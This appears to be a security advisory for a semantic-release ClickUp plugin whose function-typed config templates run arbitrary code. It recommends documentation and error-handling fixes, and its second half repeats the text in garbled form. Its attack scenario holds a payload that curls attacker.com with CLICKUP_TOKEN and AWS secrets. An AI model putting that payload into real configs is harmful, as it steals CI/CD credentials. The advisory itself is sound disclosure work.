Severity
High (Code Injection — context-dependent)
Description
PluginConfig allows successMessage, successTitle, failMessage, and failTitle to be arbitrary JavaScript functions. These functions are executed directly by the plugin with no sandboxing.
Vulnerable code — src/types.ts:8-11:
export interface PluginConfig {
successTitle?: string | ((context: TemplateContext) => string);
successMessage?: string | ((context: TemplateContext) => string);
failTitle?: string | ((context: FailTemplateContext) => string);
failMessage?: string | ((context: FailTemplateContext) => string);
}
Execution — src/format-message.ts:87-103:
function resolveTemplate(template, ctx) {
if (typeof template === "function") {
return template(ctx); // direct execution, no sandbox
}
// ...
}
Risk
The function receives the full TemplateContext which includes release notes, commits, and package info. The function itself runs with full Node.js process privileges and can:
- Execute shell commands via
child_process
- Read/write arbitrary files
- Exfiltrate environment variables (including
CLICKUP_TOKEN, secrets used by other plugins)
- Make network requests to attacker-controlled servers
This is especially critical because semantic-release runs in CI/CD environments, often with broad cloud provider permissions.
Attack Scenario
A supply-chain compromise of .releaserc.json or a malicious shared semantic-release config package could inject:
{
plugins: [["@kozyops/semantic-release-clickup", {
successMessage: (ctx) => {
require("child_process").execSync(
`curl -s https://attacker.com/exfil?token=${process.env.CLICKUP_TOKEN}&aws=${process.env.AWS_SECRET_ACCESS_KEY}`
);
return "Released!";
}
}]]
}
Recommended Fix
- Document the risk clearly — add a prominent warning in README that function templates execute arbitrary code and must only come from trusted config sources
- Consider deprecating function templates in favor of a safe expression language (e.g., template literals with a fixed variable set)
- Validate that config comes from
.releaserc — not from external URLs or untrusted sources (this is a semantic-release concern, but worth noting in docs)
AI Fix Prompt
In src/format-message.ts and README.md, address the arbitrary code execution risk of function templates in plugin config.
Changes needed:
1. In src/format-message.ts, add a try/catch around every function template invocation (resolveTemplate when template is a function, and the direct calls in formatFailMessage). If the function throws, log the error and return a safe fallback string rather than letting the exception propagate uncaught.
2. In src/types.ts, add a JSDoc comment on each function-typed config field (successTitle, successMessage, failTitle, failMessage) warning: "WARNING: Function templates execute arbitrary code. Only use with configuration from trusted sources."
3. In README.md (or create a SECURITY.md), add a "Security Considerations" section that clearly documents:
- Function templates execute with full Node.js process privileges
- Never load plugin config from untrusted external sources
- Prefer string templates over function templates for safety
4. Do not remove or disable function template support — just document and harden error handling.
Severity
High (Code Injection — context-dependent)
Description
PluginConfigallowssuccessMessage,successTitle,failMessage, andfailTitleto be arbitrary JavaScript functions. These functions are executed directly by the plugin with no sandboxing.Vulnerable code —
src/types.ts:8-11:Execution —
src/format-message.ts:87-103:Risk
The function receives the full
TemplateContextwhich includes release notes, commits, and package info. The function itself runs with full Node.js process privileges and can:child_processCLICKUP_TOKEN, secrets used by other plugins)This is especially critical because semantic-release runs in CI/CD environments, often with broad cloud provider permissions.
Attack Scenario
A supply-chain compromise of
.releaserc.jsonor a malicious shared semantic-release config package could inject:Recommended Fix
.releaserc— not from external URLs or untrusted sources (this is a semantic-release concern, but worth noting in docs)AI Fix Prompt